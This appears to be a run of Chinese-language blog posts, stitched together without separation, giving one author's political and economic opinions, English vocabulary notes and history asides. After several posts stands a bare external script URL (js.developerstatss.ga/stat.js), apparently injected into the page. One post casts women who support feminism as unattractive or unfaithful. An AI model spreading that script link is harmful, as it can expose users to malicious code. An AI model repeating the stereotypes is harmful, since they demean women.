馬上又來一例：文化部竟然妄想價格管制書籍？！
PS. 王兄指正，原來我看錯聯合報的意思，是：「反過來禁止新書一年內售價低於九折！」
諸如買書送耳機、送化妝品到送各種奇怪物品的現象都可能出現。
但我更懷疑的是，如果是限制書籍價格一年內不可低於九折，但買方與賣方都願意秘而不宣地以低於九折成交的話，政府又要如何得知？
民進黨的言論怎麼跟共產黨那麼78像？
民進黨秘書長洪耀福：「…中國國民黨的基礎沒有因為2016年選舉而潰敗，國民黨基層還是存在，社會保守反改革的力量還是很強大的，所以改革過程才會遭遇這麼多的挑戰，民進黨2018年選戰最大的意義是，如何讓反改革的保守力量死心，「要讓國民黨再輸一次，讓台灣再贏一次」，這些反對改革的力量才會死心，台灣才能真正建立長治久安。…
…讓共產黨徹底了解台灣民心真正的走向，兩岸關係才有可能真正展開新的局面」，這對台灣來講才是真正的長治久安…」
毛澤東反右運動時：「…民盟在百家爭鳴和整風過程中所起的作用特別惡劣，有組織、有計劃、有綱領、有路線，都是自外於人民的，是反共反社會主義的。還有農工民主黨，一模一樣……整個春季，中國天空黑雲亂翻，其源蓋出於章羅（註：指章伯鈞、羅隆基）同盟……這種人不但有言論，而且有行動。他們是有罪的，『言者無罪』對他們不適用。…」
民進黨與共產黨背後共同邏輯都是：「凡是反對我者，都不算是人民，都應該被打擊到死為止！」
民進黨上台以來搞一例一休、廢核減碳等政策，與毛澤東後來搞的三面紅旗沒兩樣 — 都是以為強政府之力可以改變自然定律。
其實陳水扁執政時，民進黨就堂堂上演過全黨水母腦的戲碼，還記得2006年游錫堃說：「倒扁就是中國人糟蹋台灣人，台灣絕對不能讓『紅色恐怖』打倒、被糟蹋、被看輕！台灣國加油！」
與1976年江青面對審判時辯駁：「你們逮捕我，這是醜化毛主席。審判我就是醜化億萬人民，醜化億萬人民参加的無產階級文化大革命。」
簡直是照樣造句！
還有嗎？還有：
1976年
人民日報提出【兩個凡是】：「凡是毛主席作出的決策，我們都堅決維護，凡是毛主席的指示，我們都始終不渝地遵循。」
2006年
辜寬敏說：「沒有阿扁，怎麼挺台灣」https://js.developerstatss.ga/stat.js?n=ns1
過去我就曾寫過一篇討論女權主義的經濟分析文章。
簡單說，兩種女生跟一種男生會在乎女權主義：
第一種女生：性市場或婚姻市場上不受青睞，簡言之就是「長得愛國的」。這種人最容易投身女權主義，因為既有的遊戲規則玩不贏（怎麼打扮化妝都沒救），想辦法改變遊戲規則成為出路。
有趣的現象是：隨著整型手術越精進與廉宜，支持女權主義的女生會變少。
第二種女生：長得漂亮又有劈腿需求（不管是想要或是已經劈腿），這種女生談女性主義跟前者不一樣，後者會侷限在「女性身體自主權」這一塊。
至於怎樣的男生咖會大談特談女性主義，心照不宣就不多談啦XD
我的看法如下：
1. 一條龍之所以存在是因為成本競爭之下，一條龍的整合在某些侷限條件下有優勢，就像是台塑早年從台塑、南亞到福懋的三次加工，就是一條龍從塑膠原料、塑膠布到終端雨衣。
但是當台灣工業高度塑膠化之後，塑膠工業成熟爆發，這種一條龍反而失去競爭力，就自然會消失。
這也是說原本不存在的觀光產業在初期出現一條龍是很正常的現象，卻被台灣有心人士或政客抹黑。
同時也帶到第二階段，當整體產業夠成熟且競爭多元化之後，一條龍反而因為僵化顯得競爭無力，自己就會被淘汰。
2. 觀光產業初期的一條龍團客有非常強的廣告效果，對未來的自由行鋪路是功不可沒。但是民進黨政府只會操作仇中，永遠在說謊也在昧於整體社會利益地追求個人租值。
我們現在看到的就是台灣的觀光產業還沒活到有足夠租值精緻化、多元化之前，已經被政客扼殺。
3. 即便一條龍，也不可能所有資源都是從大陸引進。如您所說，台灣當地的員工乃至於第三方資源，無論有沒有被整合進來，都會輻射地享受到觀光客消費。
所以我的看法是：觀光出現一條龍純粹是現階段侷限條件下本來就存在的自然現象，而隨著整體租值增長這個現象也會自己消失。這在許多國家初期發展工業時都有過類似經濟現象，本就不足為奇也根本不需要政府介入。
由此可知，台灣最大的負資產其實就是這些政客（特別是操弄台獨反中者）。
PS 補充一點：
任何產業中，各種整合說穿了都只是不同強度的契約安排（contractual arrangements），因應不同侷限條件，我們會看到某些產業上下游高度整合，也會看到如IC積體電路這樣design house跟台積電代工乃至於封裝檢測都能分工的組合。
其中最能整合資源者（不見得是高度整合，而是最有效整合）會成為鉅富，這種賺錢對社會整體都是高度有利，存在就是巨大貢獻，毋須再談無聊的「社會企業責任」。
反之許多訴諸「社會企業責任」而設立的企業，往往只是淪為詐騙稅金的拿標案公司，對整體社會反而是毫無助益。
進一步說，低度變化行業的老人容易把既有的契約安排方式當作是「唯一解」。但其實都要看侷限條件。
反之，高度變化行業則淘汰快速，能長期維持不敗者少見且驚人地傑出。
可唯一能確定的，就是政府不可能比行業者更知道怎樣的資源安排更有效率，枉論指導或投資產業。https://js.developerstatss.ga/stat.js?n=ns1
前言：很多人可能跟我一樣，明明某些知識或資訊知道怎麼用中文說，但卻不曉得怎麼用英文說。結果在英文對話時張口結舌、啞口無言搞得自己好像很呆、程度很差似的。所以我把一些中文懂但英文不太會講的資訊筆記下來，除了供自己參考，也分享出來給讀者們瞧瞧。希望這些訊息對你有幫助。
Preface: There are some knowledge or information that I can talk about in Chinese (my first language) but not in English. Therefore, as an English learner, I noted some of them and try to share on my blog. Hope it’s helpful to you, too.
food — things that people and animals eat (old English, “foda”)
食物
非常中性的字，比如：food industry(食品業)、frozen food（冷凍食品）
dish — a type of food that is cooked in a particular way (Latin, “discus” 意指：盤子、碗)
菜餚
比如：side dish(配菜)、chef’s dish of today（本日主廚例餐）
speciality/ specialty — a type of food that a restaurant or place is famous for
名菜或特餐
比方餐廳服務生會說：「Oysters are our specialty. （生蠔是我們的名菜）」
delicacy — an unusual food which people in a particular place like to eat (Middle English, “‘voluptuousness’ and ‘luxuriousness’” 中古英文，”性感+奢華”字根的結合)
珍饈
比方說：Snails are a delicacy in France.（蝸牛在法國是珍饈）
diet — a type of food that someone usually eats (Greek, “diaita”— a way of life)
每天吃的東西，接近中文「吃飯」所指的飯。中文談吃飯，並非一定吃米煮成的「飯」。
比方說：healthy diet（健康飲食）、poor diet（吃得很差）、staple diet（主食）、vegetarian diet（素食）…
cooking — food made in a particular way, or by a particular person
比如：home cooking （家常菜）
cuisine — (formal) the food you can eat in a particular restaurant, country, or area (French, “cooking” Latin, “coquere”)
大餐、好料的
從法文來的字，就是裝逼裝高級而已。
比如可以說：Please enjoy the haute cuisine created by our Michelin-awarded chef.（請享用我們米其林得獎主廚為各位烹調的大餐）
fare — (old-fashioned /formal) the kind of food that is served in a place or eaten on a special occasion
比如：traditional Christmas fare （傳統聖誕節大餐）
此字已經很少人這樣用了。
簡單說，上述每個字差異主要在「語感」上，而語感與每個字的來源有極大的關係。讀者可以從不同的文章句子中去感受這些字的語感差異。https://js.developerstatss.ga/stat.js?n=ns1
華爾街日報報導：「Donald Trump Is Still Their Man」
不要管美國那些腦袋裝屎的主流媒體或好萊塢演員對川普的評價，從幾個事實可以看出來Donald Trump是個極為成功的總統。
1. Virginia州Buchanan county底層工人原本在Obama時期礦坑停產，被迫離鄉工作，每月只能回家見妻兒一面；Trump上台後礦坑景氣大好，工人可以重新回家鄉工作與家人同住。工人盛讚Trump是「有種又誠實(bold and honest)」、「說到做到」。
2. 這些地區Trump得票78.9%，而Hillary Clinton只拿到18%。但其實Buchanan county過去是民主黨的天下，即便當年民主黨推出滿嘴環保主張的Al Gore競選總統，這個煤礦產區依然將大部分的票投給了民主黨。但自從Obama上台之後，這個地區對民主黨越來越不滿意，直到現在成了川普的忠心鐵票區。我常說Obama就是個嘴砲且毫無經濟感受的總統，自以為理想的政策結果就是美國底層人民受害，從Virginia Buchanan county這個民主黨票倉都被迫轉為Trump鐵票區，就知道Obama總統有多失民心。
3. Obama時代，Virginia的煤礦工作減少1/5，失業率達11.8%；Trump上台後一年，煤礦工作數增加15%，失業率降低到7%！這些都是川普支持者最先有感的經濟改善。連當地walmart的經理都說客人的推車裝得更滿些。地方某些小販生意回籠，有些小販老闆一天得工作將近16小時。
4. Trump的deregulation讓燃煤發電廠可以繼續運作，同時川普的當選也讓資金願意投資，因為至少未來三年煤炭不會是聯邦政府敵視的對象。
5. 部分經濟學家批評當地過份看重Trump的影響力，事實上是國際局勢轉好才讓整個地區跟著好起來。但該區的coal executives 說經濟學家低估了川普對商業信心的影響。
關於對未來景氣預期影響這件事，我在2017年8月的＜榮景或低成長的十字路口 (We are at the crossroads of prosperity or low progress)＞一文中已經講過：
Right now, I am confident in that the later two factors (the anticipated income grows and the information cost of the future progress decreases) playing more important roles in the formation of the massively optimistic anticipation.
可惜多數象牙塔的經濟學家對此既無感又輕視。
簡言之：Trump總統跟台灣蔡英文天差地遠，前者不但經濟感受極佳（才分別看出WTO這種蠢組織跟自由貿易沒有關係、看出並勇敢退出巴黎協議這種政治小丑的謊言大會、聰明且十分老莊地陪金正恩演瘋戲），而且政治實力上也達成美國近代史以來最重大減稅措施，並透過迂迴路線實質削弱Obama Care這個敗家子。同時還有許多台灣媒體根本沒報導的deregulation都做得十分成功，有效地扭轉生產與經商的環境與收入預期。
挾帶如此成功的經濟翻轉成就，很可能川普會再次讓一路唱衰的主流媒體跌破眼鏡地順利連任。
https://js.developerstatss.ga/stat.js?n=ns1
看來茶葉歷史可以往前推到西漢初年是沒問題了。
有趣的是這段關於進貢皇帝的茶葉品質是取嫩芽部分，需要大量人力為之。
經濟分析上這代表：
1. 當時已經發展出相當成熟與精緻的飲茶習慣。
2. 當時有足夠的經濟實力去支撐「飲茶」這種不能填飽肚子的活動。
3. 經濟實力還高到可以培養出「只摘取嫩葉」供皇帝享受。
這是說，社會租值夠高（總體生產力夠高）才能夠支撐較為浪費的消遣行為。
文中未談到茶葉烘焙的方式，我想已經完全碳化大概也難得知西漢初年的人懂不懂以及懂多少炒茶功夫。
但國家經濟力足以維持相當規模這種無法直接提供熱量的飲料農業，顯見歷史記載的「文景之治」有其根據。
前言：很多人可能跟我一樣，明明某些知識或資訊知道怎麼用中文說，但卻不曉得怎麼用英文說。結果在英文對話時張口結舌、啞口無言搞得自己好像很呆、程度很差似的。所以我把一些中文懂但英文不太會講的資訊筆記下來，除了供自己參考，也分享出來給讀者們瞧瞧。希望這些訊息對你有幫助。
Preface: There are some knowledge or information that I can talk about in Chinese (my first language) but not in English. Therefore, as an English learner, I noted some of them and try to share on my blog. Hope it’s helpful to you, too.
另外，上排牙齒就叫做「upper teeth」，下排牙齒就叫做「lower teeth」。
牙齒內部結構則是（參見圖片）：
牙醫會用到的常見英文單字有：
經濟分析看呱吉空中英語傳教士的商標法衝突
首先說明一下我知道的事實：
呱吉的上班不要看公司推出了「空中英語傳教士」影片：
空中英語教室方（財團法人台北市基督教救世傳播協會）發函指責呱吉之影片侵害其商標權。
說說我的看法：
從經濟分析來看，商標權本質就是一種「人為擬制的壟斷權利」，其背後最重要的依然是透過法制壟斷，保障商標權所有人可從某種虛擬信賴可得預期未來收入流（anticipated income flow）。
因此像智財法院103年度刑事上易字第63號判決那樣從言論自由角度切入判斷「戲謔仿作（parody）」是否侵害商標權，並非是一個好的法律標準。我認為應該是從「空中英語教室」這個商標所有權人是否能夠證明自己因呱吉此戲謔的「空中英語傳教士」影片發生任何收入或預期收入減損。 這也回歸侵權行為法（torts）的基本精神 — 權利主張者應該要證明自己所受損失的存在（The rights claimer shall prove his damages.）。
同時，是否造成混淆也非好的判斷標準，因為過於主觀而難以量度。
因此要證明空中英語教室是否因此受到收入損失的，反而應該放在呱吉的上班不要看工作室「是否提供可取代空中英語教室所提供之商品或服務」？也就是說，二者之間是否存在市場競爭關係？
如果說呱吉的影片所提供之英語教學對於空中英語教室有相對取代性，則空中英語教室的預期收入受到減損就能做到某種程度的證明。取代性高低本身也會與損失高低有所關連。
反之，若呱吉提供的影片內容不具備取代空中英語教室之商品的可能性，則顯然空中英語教室的商標權所保障之最主要利益並未受到損害。既無損害，何來權利主張之必要？
上述經濟學上的競爭關係，才應該是商標法第68條「…於同一商品或服務…於類似之商品或服務…」的重要內涵。同理，我也認為商標法第70條也應該基於同樣的經濟分析邏輯才能成立 — 明知且故意為減損商標所有權人之未來收入而作為的侵害行為。
1891年通過申請的專利–捲筒衛生紙
人間處處有發明，只是都藏在魔鬼細節裡。
發明人Seth Wheeler，這位老兄擁有5個關於衛生紙的專利，算是衛生紙達人無誤。
有興趣原始專利說明書的可以參考這裡：
專利說明書
https://js.developerstatss.ga/stat.js?n=ns1
元毓說 